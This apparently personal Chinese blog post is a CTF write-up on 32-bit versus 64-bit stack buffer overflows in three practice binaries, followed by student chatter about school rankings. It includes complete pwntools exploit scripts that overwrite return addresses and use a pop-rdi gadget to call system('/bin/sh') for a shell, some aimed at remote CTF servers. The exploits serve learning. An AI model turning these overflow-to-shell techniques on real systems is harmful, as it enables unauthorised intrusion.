0 Preview

k4👴 昨天发来了一个链接,我一眼看过去。这比赛卫生巾赞助的?
不出我所料,这比赛简直拉跨,平台都被人搞了,pwn题被删掉。
我也只做了一个pwn,就写一下。

这道题是64位的栈溢出,我起初按照32位的写,怎么都打不通。
于是找了三个题来对比一下这两种的区别。

三道题附件: PWN.zip 提取码:shan

本文涉及知识点:32 和 64 栈溢出区别,平衡栈。

要想PWN学的好,冰球威士忌少不了。(最近健身不能喝酒,就用红牛代替(不是尿

rednew

1 Level2

XCTF的题

第一步永远是 checksec

image-20210916175854761

开了NX保护,32位。
IDA 分析一下,一共找到这几个关键字符串
image-20210922104732771image-20210922104613377

看到这三个字符串就清楚这道题的大致解题思路:

在Input处利用栈溢出漏洞,覆盖函数返回地址,从而调用system函数,将 “ /bin/sh ” 作为参数,从而getshell。

1.1 溢出判断

首先找到溢出的具体函数:
image-20210922184920199

可以看到分配的栈一共是 0x88 字节,但是 read 可以读入 0x100字节的数据。存在栈溢出漏洞。
所以需要 0x88 字节来填充栈,由于本程序为32位,所以还需要 4 字节来填充 esp。最后再将调用system函数的地址填充到ret的返回地址。

image-20210922201043842

此时程序以及执行到system函数处,我们再将 “ /bin/sh "的地址写入,即可获取shell权限。

1.2 寻找地址

第二步就是确定system的函数地址,以及" /bin/sh "字符串的地址。
也可以直接使用symbols函数。

image-20210922201746923

image-20210922201811056

1.3 编写exp

EXP有两种写法,一种需要平衡栈一种不需要平衡栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PYTHON
# -*- coding:UTF-8 -*-
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
shangu = 1
elf = ELF("level2")

def main():
if shangu == 1:
io = remote("111.200.241.244",55499)
else:
io = process("level2")

sys_adr = elf.symbols["system"]
shell_adr = elf.search("/bin/sh").next()
# callsys_adr = 0x0804849E

payload = 'a' * (0x88 + 4) + p32(sys_adr) + p32(0) + p32(shell_adr)#平衡栈
# payload2 = 'a' * (0x88 + 4) + p32(callsys_adr) + p32(shell_adr) #不平衡栈

io.recvline()
io.sendline(payload)
io.interactive()

main()

1.4 平衡栈

两种写法的不同之处是 system 的调用。溢出后修改返回地址为 system 函数地址时,还需要一个额外的参数——返回地址。

每次调用函数时首先就是将下一条指令地址入栈,执行完函数后以便返回。
所以我们利用栈溢出漏洞进行写入地址时,也需要同时写入返回地址,否则程序执行会出错。也就是p32(0) 填多少随意,有个返回地址防止出错就行。

另一种解决办法是直接找到调用 system 函数地址,也就是执行汇编指令 CALL _system 的地址,call指令自带入栈返回地址的功能,所以不需要再平衡栈。

image-20210930184408794

都是能打通的:

image-20210930184634485

2 Level2_64

BUU的题

这是上一个题的64位版本,继续那些步骤
image-20210930200748355

image-20210930201016953

这道题需要填充 0x80 + 0x8 因为64位用的 ESP 八位。
接下来就是和上一题同样的操作,找关键函数地址,编写wp。

2.1 64位与32位的区别

调用system函数是,32位是采用栈传参,我们可以一步到位。
64位采用的寄存器传参,导致我们需要想办法覆盖他的寄存器。

64位参数传递约定:

前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中
参数超过六个时,从第七个开始压入栈中

pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。

我们需要传的参数就一个 “ /bin/sh ” 也就是第一个,要存放在 EDI 中。
需要用ropgadget来找到需要的rop链:

1
2
BASH
ROPgadget --binary ./level2x64 --only "pop|ret"

image-20210930205850942

(至于什么是ROP,👴也不知道,明天去学)

2.2 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PYTHON
from pwn import *
context(os="linux",arch='amd64',log_level='debug')
elf = ELF('level2x64')
shangu = 1

def main():
if shangu == 1:
io = remote("node4.buuoj.cn",29658)
else:
io = process('level2x64')


sys_adr = elf.symbols["system"]
shell_adr = elf.search("/bin/sh").next()
pop_edi = 0x4006b3

payload = 'a' * (0x80+0x8) + p64(pop_edi) + p64(shell_adr) + p64(sys_adr)

io.recvline()
io.sendline(payload)
io.interactive()

main()

image-20210930211656588

3 PWN

第五空间的题。

有了上两道题的基础,这道题就简单多了。
image-20210930212120198

如出一辙,这次是 0x90 +0x8。
找到 pop edi 就可以写exp了:

image-20210930212814716

3.1 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('pwn')
shangu = 0

def main():
if shangu == 1:
io = remote("xxx.xxx.xxx.xxx",xxx)
else:
io = process("pwn")


sys_adr = elf.symbols["system"]
shell_adr = elf.search("/bin/sh").next()
pop_edi = 0x40120b

payload = 'a' * (0x90+0x8) + p64(pop_edi) + p64(shell_adr) +p64(sys_adr)

io.recvline()
io.sendline(payload)
io.interactive()

main()

这个题没线上环境,不过本地已经通了。都没啥区别这几个题。

4 👴的闲聊

小贴士,linux文本编辑器可以在下面选 tab 缩进的空格数。

image-20210930200705868

来聊一聊贵校的综测吧。

👴的学长告诉👴的那些省奖综测能乱杀,👴高兴坏了。
结果前几天👴震惊的发现,综测只统计学习成绩前25%的学生。
👴几乎每周都比赛,哪来的空闲时间去学那些老师自己都没学明白的知识。
学校倡导要综合发展,让👴也多参加点校内的活动,讲故事、合唱一类的,说是不能只有技术。
更可笑的是,👴的学长拿着四五张国奖,无数张省奖去评校园十佳人物,被 TMD 几张校级证书给干下去了。

这波叫🐄🐁。

继续说👴的综测,由于增加了学习成绩限制,👴连参加都不能参加,这波叫被迫发起提前🏳️。
👴很想去乱杀,但是👴被🔒在了🚪外。

这波啊,这波叫🐄🐦。

明天就是国庆节了,祝祖国生日快乐!
这就不得不提一下👴的生日了,特别好记,国庆假期结束后的第一天,一个学生开学检查作业的日子,108。

明天去学一学ROP再看看能不能入门堆。
还有要给各位👴写友链。